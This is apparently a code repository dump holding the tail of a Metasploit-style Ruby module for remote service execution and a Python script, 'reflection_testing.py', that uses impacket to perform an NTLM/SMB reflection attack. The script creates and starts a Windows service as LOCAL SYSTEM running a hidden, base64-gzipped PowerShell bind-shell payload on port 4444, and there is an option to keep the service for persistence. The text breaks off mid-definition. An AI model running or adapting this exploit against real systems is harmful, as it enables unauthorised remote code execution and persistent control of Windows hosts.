283 | print_status("Attempting to start service, error is normal")
284 | svc_status = svc_client.startservice(svc_handle)
285 | case svc_status
286 | when ERROR_SUCCESS
287 | print_status("#{peer} - Service started successfully...")
288 | when ERROR_FILE_NOT_FOUND
289 | print_error("#{peer} - Service failed to start - FILE_NOT_FOUND")
290 | when ERROR_ACCESS_DENIED
291 | print_error("#{peer} - Service failed to start - ACCESS_DENIED")
292 | when ERROR_SERVICE_REQUEST_TIMEOUT
293 | print_status("#{peer} - Service start timed out, OK if running a command or non-service executable...")
294 | else
295 | print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
296 | end # end case
297 | if datastore['SERVICE_PERSIST']
298 | print_warning("#{peer} - Not removing service for persistance...")
299 | else
300 | vprint_status("#{peer} - Removing the service...")
301 | svc_status = svc_client.deleteservice(svc_handle)
302 | if svc_status == ERROR_SUCCESS
303 | vprint_good("#{peer} - Successfully removed the sevice")
304 | else
305 | print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
306 | end
307 | end
308 | ensure
309 | vprint_status("#{peer} - Closing service handle... and killing the socket")
310 | svc_client.closehandle(svc_handle)
311 | end
312 | end
313 | end
314 |
315 |
--------------------------------------------------------------------------------
/reflection_testing.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # Use npcap for sniffing local traffic
3 | # The setting to "defend" yourself
4 | # Set-Itemproperty -Path HKLM:System\CurrentControlSet\Services\LanManServer\Parameters -name "RequireSecuritySignature" -value 1
5 | import socket
6 | import argparse
7 | import sys
8 | import time
9 | import thread
10 | import subprocess
11 | import re
12 | # For http
13 | import SimpleHTTPServer
14 | import SocketServer
15 | # For impacket
16 | from impacket.ntlm import *
17 | from impacket import smb3
18 | from impacket.smb3structs import *
19 | from impacket.smbconnection import *
20 | from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
21 | # For TSCH and powershell method
22 | from impacket.dcerpc.v5 import tsch, transport, scmr
23 | from impacket.dcerpc.v5.dtypes import NULL
24 |
25 | from impacket.examples import serviceinstall
26 | from threading import Thread
27 | # import atexec
28 | DEBUG = False
29 |
30 |
31 |
32 | #############################################################################################
33 | #############################################################################################
34 | # windows/powershell_bind_tcp port 4444 made with metasploit psexec_psh
35 | pshell_command = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''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''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
36 | #############################################################################################
37 |
38 | # add your own here or with -c "powershell.exe -window hidden -enc JAAHxAA" .. there is a chr limit
39 | pshell_base = "%COMSPEC% /b /c start /b /min "
40 |
41 | #############################################################################################
42 | #############################################################################################
43 | #############################################################################################
44 | class do_smb_attack(Thread):
45 | def __init__(self, SMBClient, execom):
46 | Thread.__init__(self)
47 | self.installService = serviceinstall.ServiceInstall(SMBClient, execom)
48 |
49 | def run(self):
50 | # Here PUT YOUR CODE!
51 | result = self.installService.install()
52 | if result is True:
53 | print("Service Installed.. CONNECT!")
54 | self.installService.uninstall()
55 |
56 |
57 | class do_pshell_attack(Thread):
58 | def __init__(self, SMBClient):
59 | Thread.__init__(self)
60 | self.daemon = True
61 | self.connection = SMBClient
62 |
63 | def Opensvc(self):
64 | _rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection)
65 | self.rpcsvc = _rpctransport.get_dce_rpc()
66 | self.rpcsvc.connect()
67 | self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
68 | try:
69 | # open a handle to the scmanager
70 | resp = scmr.hROpenSCManagerW(self.rpcsvc)
71 | except:
72 | print("Couldnt open SVCManager")
73 | return resp['lpScHandle']
74 |
75 | def run(self):
76 | #if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
77 | self.connection = SMBConnection(existingConnection = self.connection.getSMBServer()) # lower_level smb connection needed
78 | self.__service_name = 'WindowsTempService111'
79 | # Open the servicemanager via rpc over smb and return the handle
80 | self.svcManager = self.Opensvc()
81 | try:
82 | # try and open the service
83 | resp = scmr.hROpenServiceW(self.rpcsvc, self.svcManager, self.__service_name+'\x00')
84 | temp_handle = resp['lpServiceHandle']
85 | except Exception, e:
86 | if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
87 | # We're good, pass the exception
88 | pass
89 | else:
90 | raise e
91 | else:
92 | # delete it if it is already there!
93 | scmr.hRDeleteService(self.rpcsvc, temp_handle)
94 | scmr.hRCloseServiceHandle(self.rpcsvc, temp_handle)
95 |
96 | try:
97 | # create the service
98 | # The powershell command goes here btw, default or otherwise
99 | resp = scmr.hRCreateServiceW(self.rpcsvc, self.svcManager, self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName = pshell_command + '\x00')
100 | # The services handle
101 | service_handle = resp['lpServiceHandle']
102 | except:
103 | if DEBUG: print("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
104 | raise
105 | else:
106 | pass
107 | #return resp['lpServiceHandle']
108 |
109 | try:
110 | # Start the service
111 | print("Starting the service we created as LOCAL SYSTEM")
112 | scmr.hRStartServiceW(self.rpcsvc, service_handle)
113 | # close the service handle and service manager handle
114 | scmr.hRCloseServiceHandle(self.rpcsvc, service_handle)
115 | scmr.hRCloseServiceHandle(self.rpcsvc, self.svcManager)
116 | except Exception, e:
117 | # It is normal to timeout starting, im not sure why tho!
118 | pass
119 |
120 |
121 | try:
122 | # Stop the service
123 | self.svcManager2 = self.Opensvc()
124 | resp = scmr.hROpenServiceW(self.rpcsvc, self.svcManager2, self.__service_name+'\x00')
125 | service_handle_del = resp['lpServiceHandle']
126 | scmr.hRControlService(self.rpcsvc, service_handle_del, scmr.SERVICE_CONTROL_STOP)
127 | except:
128 | # not a big deal it should be stopped already
129 | pass
130 | try:
131 | # Delete the service
132 | scmr.hRDeleteService(self.rpcsvc, service_handle_del)
133 | # Close the service handle
134 | scmr.hRCloseServiceHandle(self.rpcsvc, service_handle_del)
135 | # Close the scm handle
136 | scmr.hRCloseServiceHandle(self.rpcsvc, self.svcManager2)
137 | print("Attack is finished!")
138 | except Exception, e:
139 | # Pass it dont matter if it doesnt delete
140 | print "error occored"
141 | print e
142 | pass
143 |
144 | def attack_caller(con):
145 | # <~~~ This is where you can add your own attack if you want! ~~~>
146 | if attack == 1:
147 | if DEBUG: print("Starting powershell service start")
148 | t = do_pshell_attack(con)
149 | t.start()
150 | elif attack == 2:
151 | if DEBUG: print("Starting powershell service start")
152 | t = do_pshell_attack(con)
153 | t.start()
154 | elif attack == 3:
155 | if DEBUG: print("Starting SMB upload and service start")
156 | t = do_smb_attack(con,execom)
157 | t.start()
158 | elif attack == 4:
159 | print "not yet"
160 |
161 | #####################################################
162 | #####################################################
163 | # Here we call our connection and return the hash2
164 | def send_smb(hash):
165 | if DEBUG: print("Making the smb, connection.")
166 | client = SMBClient2(target)
167 | if DEBUG: print("SMB connection made to target %s" % target)
168 | hash2recv = client.send_hash1(hash)
169 | return hash2recv, client
170 |
171 |
172 |
173 | # This is how we do the smb connection, its ripped from impacket and not the "cleanest" way
174 | class SMBClient2(SMBConnection):
175 | def __init__(self, remote_name, sess_port = 445, preferredDialect = SMB2_DIALECT_21):
176 | # User the upper level SMBConnection for the negotiate, "usefull for the payloads"
177 | SMBConnection.__init__(self ,remote_name, remote_name, sess_port=sess_port, preferredDialect = SMB2_DIALECT_21)
178 | # Get the lower level smb3 context for all the hash stuff
179 | self.low_level = self.getSMBServer()
180 |
181 | def send_hash3(self, servChallenge, authenticateMessageBlob):
182 | # servChallenge is nothing for now but needed for signing ?
183 | # We can reuse sessionSetup from sendNegotiate
184 | respToken2 = SPNEGO_NegTokenResp()
185 | respToken2['ResponseToken'] = str(authenticateMessageBlob)
186 | sessionSetup['SecurityBufferLength'] = len(respToken2)
187 | sessionSetup['Buffer'] = respToken2.getData()
188 | # Setup a new packet struct!
189 | packet = self.low_level.SMB_PACKET()
190 | packet['Command'] = SMB2_SESSION_SETUP
191 | packet['Data'] = sessionSetup
192 | # if DEBUG: print("Dumping packet: %s", packet.dump())
193 | packetID = self.low_level.sendSMB(packet)
194 | resp = self.low_level.recvSMB(packetID)
195 | # A better way to do this im sure
196 | try:
197 | error_code = resp.isValidAnswer(0x00000000)
198 | except:
199 | error_code = False
200 | print("Unable to login... try harder?")
201 | pass
202 | return error_code
203 |
204 | def send_hash1(self, negotiateMessage):
205 | global sessionSetup
206 | sessionSetup = SMB2SessionSetup()
207 | sessionSetup['Flags'] = 0
208 | blob = SPNEGO_NegTokenInit()
209 | blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
210 | # This is where we input the Hash1
211 | blob['MechToken'] = str(negotiateMessage)
212 | sessionSetup['SecurityBufferLength'] = len(blob)
213 | sessionSetup['Buffer'] = blob.getData()
214 | # sessionSetup['Parameters'].getData()
215 | packet = self.low_level.SMB_PACKET()
216 | packet['Command'] = SMB2_SESSION_SETUP # 0x0001
217 | packet['Data'] = sessionSetup
218 | # We send it here!!
219 | packetID = self.low_level.sendSMB(packet)
220 | resp = self.low_level.recvSMB(packetID)
221 | # use this sessionid for all furture requests
222 | self.low_level._Session['SessionID'] = resp['SessionID']
223 | # Build our hash2 return
224 | sessionSetupResponse = SMB2SessionSetup_Response(resp['Data'])
225 | respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
226 | return respToken['ResponseToken']
227 |
228 | #####################################################
229 | #####################################################
230 | #####################################################
231 | #####################################################
232 | def make_hashes(hostname=False, dname=False):
233 | # This is how we make the hash1 and hash3, i messed with the flags so much i basically
234 | # gave up once it worked, if it needs retooling let me know
235 | h1 = NTLMAuthNegotiate()
236 |
237 | # We are setting our own hash1 flags
238 | h1flags = NTLMSSP_UNICODE | NTLMSSP_OEM | NTLMSSP_TARGET | NTLMSSP_LM_KEY | NTLMSSP_NTLM_KEY | NTLMSSP_DOMAIN | NTLMSSP_WORKSTATION | \
239 | NTLMSSP_ALWAYS_SIGN | NTLMSSP_NTLM2_KEY | NTLMSSP_KEY_128 | NTLMSSP_KEY_56
240 |
241 | # NTLMSSP_KEY_EXCHANGE | NTLMSSP_VERSION |
242 | # version is win10
243 | # hash1['os_version'] = '\x0a\x00\x00\x28\x00\x00\x00\x0f'
244 |
245 | # This is how we set our host and domain, this seems to work but could cause issues.
246 | # Regardless you MUST MUST MUST!! have the correct host and domain.
247 | # Its the key to everything, if you send the correct host and domain then the system
248 | # will see it as a SMB localcall.
249 |
250 | h1['host_name'] = socket.gethostname()
251 | if socket.getfqdn() == socket.gethostname():
252 | h1['domain_name'] = 'WORKGROUP'
253 | else:
254 | try:
255 | name = socket.getfqdn().split('.')[1].upper()
256 | h1['domain_name'] = name
257 | except:
258 | print "Error with the Domain name, try manually entering it."
259 |
260 | if hostname and dname:
261 | # add the option to input your own... rem00t!
262 | h1['host_name'] = hostname
263 | h1['domain_name'] = dname
264 | else:
265 | pass
266 |
267 | print("Using %s\\%s as Host\\Domain name" % (h1['host_name'], h1['domain_name']))
268 | # Self explanitary and then we are done building hash1
269 | h1['flags'] = h1flags
270 | h1string = h1.getData()
271 | hash1 = str(h1string)
272 |
273 | ###### HASH3 #########
274 | # Looking back this probaby wasnt the easiest way but it works
275 | # We define our own structure for the hash3, impacket's look different.
276 | class ntlmh3(Structure):
277 | structure = (
278 | ('','"NTLMSSP\x00'),
279 | ('message_type','